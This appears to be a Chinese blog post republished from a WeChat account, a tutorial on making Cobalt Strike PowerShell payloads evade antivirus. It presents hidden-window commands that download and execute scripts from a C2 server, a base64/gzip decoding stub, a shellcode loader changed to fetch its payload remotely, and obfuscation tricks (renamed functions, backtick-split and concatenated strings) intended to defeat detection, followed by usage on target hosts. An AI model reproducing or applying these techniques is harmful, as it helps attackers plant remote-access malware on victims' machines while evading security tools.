Powershell无文件上线,使用CS的scripted web delivery生成powershell脚本,挂在服务器上
CS会生成一句powershell命令,并将ps脚本挂在CS服务器上
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.1:80/a'))"
看看访问的http://192.168.1.1:80/a文件有什么
发现是一大串PS命令,它先使用base64解码,之后通过IO.MemoryStream.GzipStream解压缩,得到解码后的PS脚本,并IEX执行该脚本
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("vbxH516NOyTVgUA......."));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
输出一下解码后的脚本,修改IEX为echo,就可输出源代码了
powershell -ExecutionPolicy bypass -File power.ps1 >> source.ps1
分析PowerShell加载器
仔细观察源代码啊,发现这就是CS直接生成的powershell的payload啊。
有两个函数fungetprocaddress和functiongetdelegatetype,然后一个base64解码,并进行xor异或处理得到shellcode,分配内存,复制shellcode到内存,最后执行shellcode
就是一个典型的powershell版本shellcode加载器
这里的base64编码的一大串内容,盲猜就是shellcode异或处理又base64编码来的
既然这样就输出一下解码后得到的16进制机器码
echo $var_code shellcode.bin
暂时看不太懂机器码。。。
既然是内存加载器,就改一下加载器
不将shellcode写死在ps脚本中,而是将shellcode放在服务器上,远程加载实现分离免杀
[Byte[]]$var_code = (New-Object Net.WebClient).downloaddata('http://192.168.1.1/payload.bin')
这里的bin文件用CS或msf生成的都可以,其他代码不改,先尝试一下能上线不。
测试免杀
能上线后就修改一下ps脚本的其他特征。
func_get_delegate_type函数重命名为function func_ttt
func_get_proc_address函数重命名为func_hhh
downloaddata函数改为"down`lo`addata"
downloadstring函数改为"download`str`ing"
'Invoke'字符串改为为'Inv'+'oke'
$var_code变量为$var_dode
'http://192.168.1.1/payload.bin'改为'ht'+'tp://192.16'+'8.1.1/pay'+'load.bin'
反正能改的都改改,测试一下最终ps脚本,能上线,然后查杀一下该脚本
主机上线
使用的话将脚本上传目标主机,或者放在服务器上加载即可
powershell -nop -w hidden -c "IEX(new-object net.webclient).downloadstring('C:test.ps1')"
powershell -nop -w hidden -c "IEX(new-object net.webclient).downloadstring('http://192.168.1.1/test.ps1')"
最终样本在公众号回复: ps免杀样本
本文始发于微信公众号(XG小刚):CS免杀-PowerShell上线
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论